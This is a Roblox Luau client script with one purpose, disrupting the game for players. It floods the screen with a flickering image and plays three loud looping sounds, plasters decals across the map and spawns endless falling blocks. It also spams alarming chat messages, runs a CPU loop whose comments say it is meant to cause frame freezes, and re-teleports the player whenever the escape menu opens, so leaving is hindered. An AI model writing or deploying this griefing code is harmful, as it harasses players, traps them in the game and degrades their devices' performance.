local Players = game:GetService("Players")
local SoundService = game:GetService("SoundService")
local TextChatService = game:GetService("TextChatService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Lighting = game:GetService("Lighting")
local Workspace = game:GetService("Workspace")
local GuiService = game:GetService("GuiService")
local TeleportService = game:GetService("TeleportService")

local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")

-- 1. Create ScreenGui with IgnoreGuiInset enabled
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "StartupGui"
screenGui.IgnoreGuiInset = true
screenGui.ResetOnSpawn = false
screenGui.Parent = playerGui

-- Create ImageLabel
local imageLabel = Instance.new("ImageLabel")
imageLabel.Name = "StartupImage"
imageLabel.Image = "rbxassetid://7307704593"
imageLabel.Size = UDim2.new(1, 0, 1, 0)
imageLabel.Position = UDim2.new(0, 0, 0, 0)
imageLabel.BackgroundTransparency = 1
imageLabel.Parent = screenGui

-- 2. Create and configure 3 loud looping sounds
local sound1 = Instance.new("Sound")
sound1.Name = "StartupSound1"
sound1.SoundId = "rbxassetid://137944174609015"
sound1.Looped = true
sound1.Volume = 10
sound1.Parent = SoundService

local sound2 = Instance.new("Sound")
sound2.Name = "StartupSound2"
sound2.SoundId = "rbxassetid://79670392047363"
sound2.Looped = true
sound2.Volume = 10
sound2.Parent = SoundService

local sound3 = Instance.new("Sound")
sound3.Name = "StartupSound3"
sound3.SoundId = "rbxassetid://136263171450246"
sound3.Looped = true
sound3.Volume = 10
sound3.Parent = SoundService

sound1:Play()
sound2:Play()
sound3:Play()

-- 3. Change Skybox to 7074749
for _, child in ipairs(Lighting:GetChildren()) do
	if child:IsA("Sky") then
		child:Destroy()
	end
end

local newSky = Instance.new("Sky")
newSky.Name = "GlitchSky"
newSky.SkyboxBk = "rbxassetid://7074749"
newSky.SkyboxDn = "rbxassetid://7074749"
newSky.SkyboxFt = "rbxassetid://7074749"
newSky.SkyboxLf = "rbxassetid://7074749"
newSky.SkyboxRt = "rbxassetid://7074749"
newSky.SkyboxUp = "rbxassetid://7074749"
newSky.Parent = Lighting

-- 4. Spam Decals on Every Part in Workspace
task.spawn(function()
	for _, obj in ipairs(Workspace:GetDescendants()) do
		if obj:IsA("BasePart") then
			for _, face in ipairs(Enum.NormalId:GetEnumItems()) do
				local decal = Instance.new("Decal")
				decal.Texture = "rbxassetid://7074749"
				decal.Face = face
				decal.Parent = obj
			end
		end
	end
end)

-- 5. Falling Blocks Spawner Logic
task.spawn(function()
	task.wait(1)
	while true do
		local part = Instance.new("Part")
		part.Size = Vector3.new(math.random(3, 8), math.random(3, 8), math.random(3, 8))
		
		-- Spawn near the local player's character or default center
		local character = player.Character
		local spawnPos = Vector3.new(0, 50, 0)
		if character and character:FindFirstChild("HumanoidRootPart") then
			local hrp = character.HumanoidRootPart
			spawnPos = hrp.Position + Vector3.new(math.random(-30, 30), math.random(40, 70), math.random(-30, 30))
		end
		
		part.Position = spawnPos
		part.Velocity = Vector3.new(math.random(-10, 10), math.random(-5, 5), math.random(-10, 10))
		part.Parent = Workspace
		
		-- Cover the falling block in the requested image
		for _, face in ipairs(Enum.NormalId:GetEnumItems()) do
			local decal = Instance.new("Decal")
			decal.Texture = "rbxassetid://7074749"
			decal.Face = face
			decal.Parent = part
		end
		
		task.wait(0.2)
	end
end)

-- 6. Flicker Effect Logic
local image1 = "rbxassetid://7307704593"
local image2 = "rbxassetid://7074749"

task.spawn(function()
	while true do
		task.wait(math.random(5, 15) / 100)
		if imageLabel.Image == image1 then
			imageLabel.Image = image2
		else
			imageLabel.Image = image1
		end
		task.wait(math.random(2, 6) / 100)
		imageLabel.Image = image1
	end
end)

-- 7. Chat Spam Logic
task.spawn(function()
	task.wait(2)
	while true do
		local messageText = "IT'S COMING GUYS HELP ITS COMINGS GUYS IT.."
		pcall(function()
			if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
				local generalChannel = TextChatService.TextChannels:FindFirstChild("RBXGeneral")
				if generalChannel then
					generalChannel:SendAsync(messageText)
				end
			else
				local sayMessageRequest = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
				if sayMessageRequest then
					sayMessageRequest.SayMessageRequest:FireServer(messageText, "All")
				end
			end
		end)
		task.wait(2)
	end
end)

-- 8. Massive Lag Spikes Generator
task.spawn(function()
	while true do
		-- Heavy mathematical workload to cause severe frame stuttering/freezes
		local startTick = tick()
		while tick() - startTick < 0.8 do
			local _ = math.sqrt(math.random(1, 10000000)) * math.tan(math.random(1, 1000))
		end
		task.wait(math.random(1, 3))
	end
end)

-- 9. ESC Menu Rejoin Trigger
GuiService.Changed:Connect(function(property)
	if property == "MenuIsOpen" and GuiService.MenuIsOpen then
		pcall(function()
			TeleportService:Teleport(game.PlaceId, player)
		end)
	end
end)